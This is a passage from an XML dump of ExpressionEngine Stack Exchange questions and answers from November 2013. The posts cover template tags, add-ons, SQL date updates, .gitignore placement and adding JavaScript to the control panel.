  <row Id="15440" PostTypeId="1" CreationDate="2013-11-06T03:50:10.563" Score="1" ViewCount="90" Body="&lt;p&gt;I would love to find a fieldtype addon that enables me to add tooltips onto an image, like the example here: &lt;a href=&quot;http://goo.gl/kkLXoZ&quot; rel=&quot;nofollow&quot;&gt;http://goo.gl/kkLXoZ&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically a very simple editor that enabled you to select an image and create/edit/delete tooltips on a particular coordinate relative to the image container size. I haven’t seen this on devotee or elsewhere - thought I would try my luck here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="1056" LastActivityDate="2013-11-06T04:50:28.587" Title="Fieldtype to overlay html (tooltips) on top of image?" Tags="|ee2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15441" PostTypeId="2" ParentId="15370" CreationDate="2013-11-06T04:04:15.637" Score="1" Body="&lt;p&gt;Date math is a pain.  Here's query that &lt;em&gt;should&lt;/em&gt; give you entries in the future:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT entry_id, title &#xA;FROM exp_channel_titles &#xA;WHERE UNIX_TIMESTAMP() &amp;lt; entry_date;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Double check this to make sure you are getting the 200 results you are expecting. Server Time zone, User time zone, DST settings, server time etc can all throw you off, but in any case it should only be a matter of hours.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now we want to subtract 3600 seconds (the number of seconds in an hour) from those future records, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE exp_channel_titles&#xA;SET entry_date = entry_date - 3600&#xA;WHERE UNIX_TIMESTAMP() &amp;lt; entry_date;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;exp_channel_titles also has a column for 'day' so if subtracting one hour from an entry pulls it into the previous day you would really want to update that column too, not sure if there's a consequence of omitting this step and including it is pretty complicated.&lt;/p&gt;&#xA;" OwnerUserId="210" LastEditorUserId="210" LastEditDate="2013-11-06T04:10:31.007" LastActivityDate="2013-11-06T04:10:31.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15442" PostTypeId="2" ParentId="15440" CreationDate="2013-11-06T04:50:28.587" Score="1" Body="&lt;p&gt;Only &lt;a href=&quot;http://devot-ee.com/add-ons/pointee&quot; rel=&quot;nofollow&quot;&gt;Pointee&lt;/a&gt; exist. But is not support multi points.&lt;/p&gt;&#xA;" OwnerUserId="932" LastActivityDate="2013-11-06T04:50:28.587" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15443" PostTypeId="1" AcceptedAnswerId="15445" CreationDate="2013-11-06T06:32:21.987" Score="0" ViewCount="59" Body="&lt;p&gt;I want to create a base configuration of EE that have certain channels, templates, addons, etc. -- and then deploy that over and over again. It seems like NSM Site Generator was the solution I needed, but it's in alpha, doesn't work with the latest version of EE, and not being actively developed (due to time constraints, per the developer).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there alternatives?&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2013-11-06T07:22:39.890" Title="Alternatives to NSM Site Generator?" Tags="|add-on|deployment|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15444" PostTypeId="1" AcceptedAnswerId="15473" CreationDate="2013-11-06T06:39:59.593" Score="1" ViewCount="131" Body="&lt;p&gt;Is there an add-on that adds database migrations features ala &lt;a href=&quot;http://ellislab.com/codeigniter/user-guide/libraries/migration.html&quot; rel=&quot;nofollow&quot;&gt;Codeigniter&lt;/a&gt; or &lt;a href=&quot;http://laravel.com/docs/migrations&quot; rel=&quot;nofollow&quot;&gt;Laravel&lt;/a&gt; for ExpressionEngine?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is really a pain when making a dev environment and having to recreate it on a production server.&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2013-11-06T16:35:29.387" Title="Migrations for ExpressionEngine" Tags="|database-migrations|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15445" PostTypeId="2" ParentId="15443" CreationDate="2013-11-06T07:22:39.890" Score="2" Body="&lt;p&gt;I just have a local dev environment using MAMP. I have a couple of base setups that I use. One with structure and one without and then my most standard addons that end up on almost every site like wygwam, switchee, stash etc. I keep these up to date on my local machine. When I want to start a new site its simply a matter of uploading the files to the web server. Copy across the database. Make a few configuration file changes and purchase an EE license and any applicable addon licenses and I am good to go. I am sure there are probably fancier more automated ways but this has always worked well for me.&lt;/p&gt;&#xA;" OwnerUserId="1283" LastActivityDate="2013-11-06T07:22:39.890" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15446" PostTypeId="2" ParentId="15433" CreationDate="2013-11-06T07:39:54.010" Score="0" Body="&lt;p&gt;As I understand the parsing order of EE it actually parses all items within the conditionals and then decides which is correct and outputs that resulting code. So it is always parsing both stash values which is why you always get the second value as the result. Try using &lt;a href=&quot;http://devot-ee.com/add-ons/switchee&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/switchee&lt;/a&gt; for your conditionals instead.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:switchee variable=&quot;{url_title}&quot; parse=&quot;inward&quot;}&#xA;  {case value=&quot;supports-for-adults&quot;}&#xA;    {exp:stash:set_value name=&quot;support_type&quot; value=&quot;Adults&quot;}&#xA;  {/case}&#xA;  {case value=&quot;supports-for-children&quot;}&#xA;    {exp:stash:set_value name=&quot;support_type&quot; value=&quot;Children&quot;}&#xA;  {/case}&#xA;{/exp:switchee}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Switchee only parses the code within the case that matches so you will not overwrite your stash value as you are with native conditionals. Switchee can give quite a performance boost to your page if you are using exp:channel:entries calls within conditionals as well because you avoid needless calls to the database. You can also do regex matches.&lt;/p&gt;&#xA;" OwnerUserId="1283" LastActivityDate="2013-11-06T07:39:54.010" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15447" PostTypeId="1" CreationDate="2013-11-06T08:54:46.617" Score="1" ViewCount="108" Body="&lt;p&gt;Can I get the sql query after calling exp:channel.&#xA;I want to see the query behind an exp:channel call?&#xA;Is this possible by any debugging process?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="2126" LastActivityDate="2013-11-06T09:26:45.793" Title="Get query of exp:channel" Tags="|channel|query|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15448" PostTypeId="1" AcceptedAnswerId="15449" CreationDate="2013-11-06T08:59:57.293" Score="1" ViewCount="39" Body="&lt;p&gt;I'm quite new to EE2 although fairly proficient with HTML, etc.  This may seem as an easy question, but for the life of me, I cannot figure out how to make a clickable list of entries from our blog.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the current code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;blog&quot; limit=&quot;10&quot;}&#xA;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;#'&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm trying to list all of the entries from the blog in a sidebar on the site.  The problem is that the entries show up fine, but they all link to the same blog article no matter what I put in the &quot;#&quot; part.  The list of blog entries shows up fine, but I can't get them to link to their source article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I make it so that the listing treats each Title as separate link and links to the proper blog article?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've searched the parameters field and haven't been able to find one that does what I want it to do.  Am I just doing it all wrong? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you so much for your help.&lt;/p&gt;&#xA;" OwnerUserId="2324" LastActivityDate="2013-11-06T09:19:05.943" Title="Listing Clickable Channel Entries" Tags="|channel|entries|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15449" PostTypeId="2" ParentId="15448" CreationDate="2013-11-06T09:19:05.943" Score="3" Body="&lt;p&gt;If you use the {url_title} for the href that should do the trick:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{exp:channel:entries channel=&quot;blog&quot; limit=&quot;10&quot;}&#xA;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;{url_title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;{/exp:channel:entries}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also you might need to add the dynamic=&quot;no&quot; parameter to stop EE limiting the list based on the URL e.g. if you are on a single entry page. If that's the case try this instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;blog&quot; limit=&quot;10&quot; dynamic=&quot;no&quot; disable=&quot;categories|custom_fields|member_data|pagination&quot;}&amp;lt;li&amp;gt;&amp;lt;a href=&quot;{url_title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Notice I added the 'disabled' parameter too? That helps speed things up and is good practice when you you only want a list of entry titles like this and don't need custom fields, categories or member data and pagination.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps and all makes sense you can &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#disable&quot; rel=&quot;nofollow&quot;&gt;read more in the docs&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="463" LastActivityDate="2013-11-06T09:19:05.943" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15450" PostTypeId="2" ParentId="15447" CreationDate="2013-11-06T09:26:45.793" Score="4" Body="&lt;p&gt;If you turn on the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/admin/output_and_debugging_preferences.html#display-output-profiler&quot; rel=&quot;nofollow&quot;&gt;Output Profiler&lt;/a&gt;, you will be able to see the list of SQL queries generated for any page.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2013-11-06T09:26:45.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15451" PostTypeId="1" AcceptedAnswerId="15452" CreationDate="2013-11-06T10:00:55.113" Score="1" ViewCount="238" Body="&lt;p&gt;I've got a profile page for each of my zoo visitor members and on there I want a list of all the entries they've written. My URL is /careers/network/julie-alchin with 'julie-alchin' being the {visitor:url_title}. I don't know if I can use that segment_3 in anyway in the channel entries tag?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be very much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks, Julie&lt;/p&gt;&#xA;" OwnerUserId="1566" LastActivityDate="2013-11-06T11:01:39.373" Title="Show entries authored by certain zoo visitor member on their profile page" Tags="|channel-entries|zoo-visitor|author|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15452" PostTypeId="2" ParentId="15451" CreationDate="2013-11-06T11:01:39.373" Score="2" Body="&lt;p&gt;You can do this using &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:zoo_visitor:details url_title=&quot;{segment_3}&quot;} &#xA;     {exp:channel:entries channel=&quot;blog&quot; author_id=&quot;{member_id}&quot;}&#xA;            &amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;            {body}&#xA;     {/exp:channel:entries}&#xA;{/exp:zoo_visitor:details}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But by performance I would choose query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT author_id FROM exp_channel_titles WHERE url_title = '{segment_3}'&quot;}&#xA;        {exp:channel:entries channel=&quot;blog&quot; author_id=&quot;{author_id}&quot;}&#xA;            &amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;            {body}&#xA;        {/exp:channel:entries}&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="932" LastActivityDate="2013-11-06T11:01:39.373" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15453" PostTypeId="2" ParentId="15432" CreationDate="2013-11-06T11:43:24.320" Score="0" Body="&lt;p&gt;Per &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_form/#categories&quot; rel=&quot;nofollow&quot;&gt;EE documentation for Channel Form&lt;/a&gt;, you should be able to do this using the &lt;code&gt;{category_menu}&lt;/code&gt; tag pair:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:form...}&#xA;&#xA;  {category_menu}&#xA;    {if category_id != &quot;bad category id&quot;}&#xA;      &amp;lt;!-- show field:photo --&amp;gt;&#xA;    {/if}&#xA;  {/category_menu}&#xA;&#xA;{/exp:channel:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-11-06T11:43:24.320" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15454" PostTypeId="1" CreationDate="2013-11-06T11:48:19.827" Score="1" ViewCount="575" Body="&lt;p&gt;I have an issue using an Assets field (2.2.2) within a Grid field (EE 2.7.2). Here is my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{home_slideshow}&#xA;&#xA;&amp;lt;img src=&quot;{exp:img_resize src=&quot;{home_slideshow:slide_image}&quot; width=&quot;745&quot; height=&quot;558&quot;}&quot; alt=&quot;Front Show Image&quot; class=&quot;hero-image&quot;&amp;gt;&#xA;&#xA;{/home_slideshow}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I use Assets, the image displays fine but other Assets fields on the same page display nothing. When I swap out Assets and use a basic File field the above image does not display (and returns an empty img tag) but the other Assets fields on the page work fine!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have already eliminated img_resize as the problem by removing any references to it - the issue remains the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="2316" LastActivityDate="2014-01-15T19:23:35.000" Title="Assets field within Grid field does not display" Tags="|assets|grid|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15455" PostTypeId="1" CreationDate="2013-11-06T12:25:55.000" Score="1" ViewCount="58" Body="&lt;p&gt;Is it possible for me to change the formatting buttons in the Matrix rich text field? Just trying to add a break tag &lt;code&gt;&amp;lt;br&amp;gt;&lt;/code&gt; and maybe a couple others.&lt;/p&gt;&#xA;" OwnerUserId="2325" LastEditorUserId="28" LastEditDate="2013-11-06T16:31:55.793" LastActivityDate="2013-11-06T22:07:19.307" Title="Is it possible for me to change the formatting buttons in the Matrix rich text field?" Tags="|rte|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15457" PostTypeId="1" AcceptedAnswerId="15461" CreationDate="2013-11-06T12:47:52.770" Score="4" ViewCount="1495" Body="&lt;p&gt;I need to be able to add some javascript globally to the Admin section of my site, and i have been using the cp_css_js extension for this which has sort of worked. The thing is that it's super buggy ( running the js-code twice on some pages for instance, and don't get me started on the way you &quot;add&quot; the actual code ). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have googled for the better part of this day for a nicer way to do this, without luck, but i feel there should be something like wordpress' &lt;code&gt;enqueue_script&lt;/code&gt;-function. The only way i have been sort of successful is creating my own plugin, and using the &lt;code&gt;cp-&amp;gt;load_package_js()&lt;/code&gt; in my mcp.* file, but that only runs when i'm on the actual plugin-page, not globally across the Admin-area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anybody know of a nice way to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/Anders&lt;/p&gt;&#xA;" OwnerUserId="2193" LastActivityDate="2013-11-06T14:51:53.087" Title="Include custom JavaScript in the control panel" Tags="|control-panel|javascript|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15458" PostTypeId="1" CreationDate="2013-11-06T12:48:26.420" Score="1" ViewCount="134" Body="&lt;p&gt;I wonder where should I place my .gitignore file when the EE system folder is above the root and I need to track those files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my .gitignore at the moment:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Globals and OS junk files&#xA;[Tt]humbs.db&#xA;.DS_Store&#xA;*.DS_Store&#xA;cgi-bin/&#xA;error_log&#xA;&#xA;# Subversion files&#xA;.svn&#xA;&#xA;# Master Config&#xA;config/config.local.php&#xA;&#xA;# Images and Media&#xA;sized/&#xA;thumbs/&#xA;_thumbs/&#xA;made/&#xA;remote/&#xA;public_html/media/**/*&#xA;!public_html/media/**/*.gitkeep&#xA;&#xA;# Caches&#xA;system/expressionengine/cache/**/*&#xA;system/expressionengine/cache/eedt/**/*&#xA;!system/expressionengine/cache/**/index.html&#xA;!system/expressionengine/cache/**/*.gitkeep&#xA;!system/expressionengine/cache/**/current_version&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="532" LastActivityDate="2013-11-07T10:07:21.553" Title="Placing .gitignore abover web root?" Tags="|.gitignore|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15459" PostTypeId="2" ParentId="15458" CreationDate="2013-11-06T12:51:36.060" Score="3" Body="&lt;p&gt;Above the webroot in this case.&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2013-11-06T12:51:36.060" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15460" PostTypeId="2" ParentId="15438" CreationDate="2013-11-06T13:05:23.707" Score="1" Body="&lt;p&gt;The HTML button setting fields won't let you pass a line break to the textarea field, so there's no direct way to do it via the button. You may need to look into an alternative markdown fieldtype add-on.&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-11-06T13:05:23.707" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15461" PostTypeId="2" ParentId="15457" CreationDate="2013-11-06T13:41:22.213" Score="4" Body="&lt;p&gt;The cleanest way is to create an accessory add-on that will add your js to all pages in the cp. Here's a basic example called &quot;Default Value.&quot; Change the name and code as needed.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');&#xA;&#xA;/**&#xA; * ExpressionEngine Developer Accessory&#xA; *&#xA; * @package     Default Value&#xA; * @category    Accessory&#xA; * @description Sets Calendar Events Display Order field value to 100 automatically (if empty)&#xA; * @author      Shoe Shine Design &amp;amp; Development&#xA; * @link        http://www.shoeshinedesign.com&#xA; */&#xA;&#xA;&#xA;class Default_value_acc&#xA;{&#xA;    var $name           = 'Default Value';&#xA;    var $id             = 'default_value';&#xA;    var $version        = '1.0';&#xA;    var $description    = 'Sets Calendar Events Display Order field value to 100 automatically (if empty)';&#xA;    var $sections       = array();&#xA;&#xA;    // --------------------------------------------------------------------&#xA;&#xA;    /**&#xA;     * Constructor&#xA;     */&#xA;    function __construct()&#xA;    {&#xA;        $this-&amp;gt;EE =&amp;amp; get_instance();&#xA;    } &#xA;&#xA;    // --------------------------------------------------------------------&#xA;&#xA;    /**&#xA;    * Set Sections&#xA;    */&#xA;    function set_sections()&#xA;    {&#xA;        // hide accessory from footer tabs&#xA;        $this-&amp;gt;sections[] = '&amp;lt;script type=&quot;text/javascript&quot; charset=&quot;utf-8&quot;&amp;gt;$(&quot;#accessoryTabs a.default_value&quot;).parent().remove();&amp;lt;/script&amp;gt;';&#xA;&#xA;        // add css, js and html&#xA;        ee()-&amp;gt;cp-&amp;gt;add_to_foot('&#xA;        &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;            $(document).ready(function() {&#xA;                var value=$.trim($(&quot;#field_id_42&quot;).val());&#xA;                if(value.length&amp;lt;1) {&#xA;                    $(&quot;#field_id_42&quot;).val(&quot;100&quot;);&#xA;                }&#xA;            });&#xA;        &amp;lt;/script&amp;gt;&#xA;        ');&#xA;    }&#xA;&#xA;}&#xA;// END CLASS&#xA;&#xA;/* End of file acc.default_value.php */&#xA;/* Location: ./system/expressionengine/third_party/default_value/acc.default_value.php */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-11-06T13:41:22.213" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15462" PostTypeId="2" ParentId="15458" CreationDate="2013-11-06T13:41:57.347" Score="1" Body="&lt;p&gt;Personally, I wouldn't want my deployment method to dictate my placement of Git related files. I would rather my deployment process &quot;clean&quot; my environment and perhaps as a back-up, configure the web server to not serve Git related files. For example, here are some suggestions for Apache configurations in another question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://serverfault.com/questions/128069/how-do-i-prevent-apache-from-serving-the-git-directory&quot;&gt;https://serverfault.com/questions/128069/how-do-i-prevent-apache-from-serving-the-git-directory&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="274" LastEditorUserId="-1" LastEditDate="2017-04-13T12:14:55.020" LastActivityDate="2013-11-06T13:41:57.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15463" PostTypeId="1" CreationDate="2013-11-06T14:10:27.140" Score="1" ViewCount="115" Body="&lt;p&gt;I have an index page showing channel entries and also working as the category view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to link to a single entry from either of the above states and then be able to paginate to the next / previous entry within context.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;E.g. there are 400 entries. On the main index they show in groups of 20. A category view might show a subset of 70 entries, category 'foo'. I know how to paginate either of these index views. The URLs looks like: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;/archive/P40 or&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/archive/category/foo/P20&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I want to view a single entry in each state (and paginate) the URL's look like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/archive/single/P40 or&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/archive/single/category/foo/P20&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I can't figure out is how to code the links from the index page to the single entry versions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that makes sense. Can anyone help?&#xA;Cheers&lt;/p&gt;&#xA;" OwnerUserId="1054" LastActivityDate="2013-11-07T02:45:40.877" Title="What is the URL to link to (paginate-able) single entry from channel index or category" Tags="|categories|pagination|entrylinks|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15464" PostTypeId="2" ParentId="15432" CreationDate="2013-11-06T14:50:44.487" Score="0" Body="&lt;p&gt;Thanks for all of your tips. The jQuery method seemed to work for me. Channel Form names all category listings as id &quot;categories&quot; and File fields with class &quot;file_field&quot; (I just had one), so everything here apart from my check against the &quot;9&quot; category id is standard Channel Form code. Here's what I did:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    var arr = new Array;&#xA;    $(&quot;#categories option&quot;).each ( function() {&#xA;        if (this.selected) {&#xA;            arr.push ( $(this).val() );&#xA;        }&#xA;    });&#xA;&#xA;    if(jQuery.inArray(&quot;9&quot;, arr) != -1){&#xA;         $('.file_field').hide();&#xA;         $('#no_photo_message').html(&quot;FDN personnel must contact the office manager to change photos.&quot;);&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1327" LastEditorUserId="1327" LastEditDate="2013-11-06T14:58:19.740" LastActivityDate="2013-11-06T14:58:19.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15465" PostTypeId="2" ParentId="15457" CreationDate="2013-11-06T14:51:53.087" Score="2" Body="&lt;p&gt;I often use the &lt;code&gt;cp_menu_array&lt;/code&gt; hook for this purpose. It runs on every CP request, and unlike cp_js_end, it doesn't run in a separate HTTP request. You just have to be careful to keep the $menu value, as other extensions might be using the same hook.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function cp_menu_array($menu)&#xA;{&#xA;  ee()-&amp;gt;javascript-&amp;gt;output('$(&quot;#publishForm&quot;).css(&quot;background-color&quot;, &quot;pink&quot;);');&#xA;&#xA;  if (ee()-&amp;gt;extensions-&amp;gt;last_call !== FALSE)&#xA;  {&#xA;    $menu = ee()-&amp;gt;extensions-&amp;gt;last_call;&#xA;  }&#xA;&#xA;  return $menu;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="617" LastActivityDate="2013-11-06T14:51:53.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15466" PostTypeId="1" AcceptedAnswerId="15467" CreationDate="2013-11-06T14:57:09.923" Score="1" ViewCount="51" Body="&lt;p&gt;I want to use a common set of Low Variables I've used on another EE build but don't want to have to go through the configuration again. How can I do it?&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2013-11-06T14:59:33.807" Title="How can I access Low Variables I've used on a previous site without having to input them all in again?" Tags="|low-variables|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15467" PostTypeId="2" ParentId="15466" CreationDate="2013-11-06T14:57:09.923" Score="2" Body="&lt;p&gt;Low Variables are stored in the exp_low_variables , exp_low_variable_groups and exp_global_variables tables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can dump these tables from your previous build into your new project. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that it won't work for complex Low Variable types that store their data in their own database tables, like Matrix/Grid.&lt;/p&gt;&#xA;" OwnerUserId="146" LastEditorUserId="172" LastEditDate="2013-11-06T14:59:33.807" LastActivityDate="2013-11-06T14:59:33.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15468" PostTypeId="1" CreationDate="2013-11-06T15:03:00.743" Score="-1" ViewCount="288" Body="&lt;p&gt;I have noticed that the 'data-src' Attribute does not work within Expression Engine which makes using some jQuery plug-ins impossible. Does anyone know why this is and how it can be overcome?&lt;/p&gt;&#xA;" OwnerUserId="1068" LastActivityDate="2013-11-06T16:36:50.800" Title="data-src Attribute for jQuery" Tags="|jquery|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15469" PostTypeId="1" AcceptedAnswerId="15471" CreationDate="2013-11-06T15:03:20.407" Score="3" ViewCount="265" Body="&lt;p&gt;I'm struggling with this question again: &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/6014/classes-on-list-items-with-gwcode-categories&quot;&gt;Classes on list items with GWCode Categories&lt;/a&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/6014/classes-on-list-items-with-gwcode-categories&quot;&gt;Classes on list items with GWCode Categories&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to generate an unordered list with custom classes on the list items (for expand/collapse hooks). The problem I'm having is when it goes from depth3 to depth1.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;depth1 item&#xA;-- depth2 item&#xA;---- depth3 item&#xA;-- depth2 item (works fine!)&#xA;---- depth3 item&#xA;depth1 item (depth3_end can't just trigger one level of closing UL; how to back up without knowing next level?)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Has anyone worked this out? I'd just use nested output and avoid applying this logic to linear, but there are no &quot;has-children&quot; or &quot;here&quot; classes if it matches the current URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mark&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt; This is where I started. I've been playing with depthX_start and depthX_end and am still seeing this spot where depth3_ends and it doesn't back up to depth1. So my next depth1 category is at level 2 in the UL.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        &amp;lt;ul&amp;gt;&#xA;        {exp:gwcode_categories group_id=&quot;3&quot; style=&quot;linear&quot;}&#xA;            &amp;lt;li class=&quot;{if has_children}has-children{/if} {if cat_url_title=='{freebie_2}'}here{/if}&quot;&amp;gt;&amp;lt;a href=&quot;/{segment_1}/{cat_url_title}&quot;&amp;gt;{cat_name}&amp;lt;/a&amp;gt;{if has_children}&#xA;                &amp;lt;ul&amp;gt;{/if}&#xA;                {if depth2_end OR depth3_end OR depth4_end}&#xA;            &amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;{/if}&#xA;            {if !has_children}&amp;lt;/li&amp;gt;{/if}&#xA;        {/exp:gwcode_categories}&#xA;        &amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You'll see the classes I need to add there. We're using JavaSript to enable expand/collpase on a given item, and to trigger the left nav to open where .here is.&lt;/p&gt;&#xA;" OwnerUserId="293" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2013-11-06T15:58:22.130" Title="GWCode Categories - 